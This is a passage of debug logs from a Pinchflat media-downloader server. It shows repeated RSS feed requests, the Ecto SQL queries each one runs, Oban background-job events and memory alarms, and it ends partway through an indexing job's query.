PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:51:09.045 [debug] QUERY OK source="sources" db=3.0ms queue=0.1ms idle=1333.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:51:09.048 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=1338.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:51:09.051 [debug] QUERY OK source="source_metadata" db=0.8ms idle=367.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:51:09.052 [debug] QUERY OK source="media_metadata" db=1.1ms idle=343.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:51:09.054 [info] Sent 200 in 12ms 20:51:30.454 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:59.159 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:52:00.457 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.979 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:30.459 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:43.549 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:52:43.550 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:52:43.551 [debug] QUERY OK source="sources" db=0.9ms idle=1841.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:52:43.553 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1606.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:52:43.554 [debug] QUERY OK source="source_metadata" db=0.2ms idle=846.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:52:43.555 [debug] QUERY OK source="media_metadata" db=0.4ms idle=846.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:52:43.556 [info] Sent 200 in 6ms 20:53:00.462 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.981 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:30.464 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.466 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.983 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:30.469 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:59.180 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:55:00.471 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.986 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:30.473 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:40.041 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:55:40.042 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:55:40.043 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=615.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:55:40.045 [debug] QUERY OK source="media_items" db=1.1ms queue=0.6ms idle=335.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:55:40.047 [debug] QUERY OK source="source_metadata" db=0.5ms idle=338.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:55:40.047 [debug] QUERY OK source="media_metadata" db=0.2ms idle=339.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:55:40.068 [info] Sent 200 in 26ms 20:56:00.475 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.988 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:30.478 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.481 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.989 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:16.952 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:57:16.952 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:57:16.954 [debug] QUERY OK source="sources" db=1.4ms idle=1244.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:57:16.956 [debug] QUERY OK source="media_items" db=0.9ms idle=1246.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:57:16.958 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1249.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:57:16.959 [debug] QUERY OK source="media_metadata" db=0.5ms idle=271.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:57:16.959 [info] Sent 200 in 7ms 20:57:30.484 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.486 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.991 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:30.488 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.491 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.993 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:30.494 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.496 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.996 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:00:30.499 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:58.209 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:00:58.209 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:00:58.211 [debug] QUERY OK source="sources" db=0.7ms idle=702.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:00:58.213 [debug] QUERY OK source="media_items" db=1.3ms queue=0.2ms idle=464.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:00:58.290 [debug] QUERY OK source="source_metadata" db=0.3ms queue=0.1ms idle=542.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:00:58.291 [debug] QUERY OK source="media_metadata" db=0.1ms idle=543.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:00:58.291 [info] Sent 200 in 82ms 21:01:00.501 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.999 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:30.504 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:39.561 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:01:39.562 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:01:39.563 [debug] QUERY OK source="sources" db=0.9ms idle=1815.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:01:39.566 [debug] QUERY OK source="media_items" db=1.6ms idle=1816.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:01:39.567 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1819.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:01:39.568 [debug] QUERY OK source="media_metadata" db=0.2ms idle=1820.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:01:39.586 [info] Sent 200 in 25ms 21:01:59.230 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:02:00.506 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:01.000 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:30.510 [info] {"source":"oban","duration":1903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.002 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:00.513 [info] {"source":"oban","duration":1944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:30.515 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.004 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:00.518 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:30.520 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:59.342 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:05:00.007 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:00.523 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:30.525 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.008 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:00.528 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:04.474 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:06:04.474 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:06:04.475 [debug] QUERY OK source="sources" db=0.7ms idle=985.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:06:04.477 [debug] QUERY OK source="media_items" db=1.4ms idle=727.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:06:04.479 [debug] QUERY OK source="source_metadata" db=0.3ms idle=730.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:06:04.480 [debug] QUERY OK source="media_metadata" db=0.5ms idle=731.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:06:04.480 [info] Sent 200 in 6ms 21:06:26.836 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:06:26.837 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:06:26.838 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1089.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:06:26.841 [debug] QUERY OK source="media_items" db=1.0ms idle=1091.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:06:26.842 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1093.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:06:26.843 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.4ms idle=1094.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:06:26.844 [info] Sent 200 in 8ms 21:06:30.532 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.010 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:00.534 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:30.537 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.012 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:00.539 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:30.541 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.015 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:00.544 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:30.547 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.033 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:00.550 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:06.336 [info] {"args":{"id":1},"id":96,"meta":{},"system_time":1768079406335016937,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 21:10:06.338 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=588.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:10:06.351 [debug] QUERY OK source="settings" db=11.6ms queue=0.6ms idle=590.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:06.368 [debug] QUERY OK source="media_items" db=15.8ms idle=603.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND 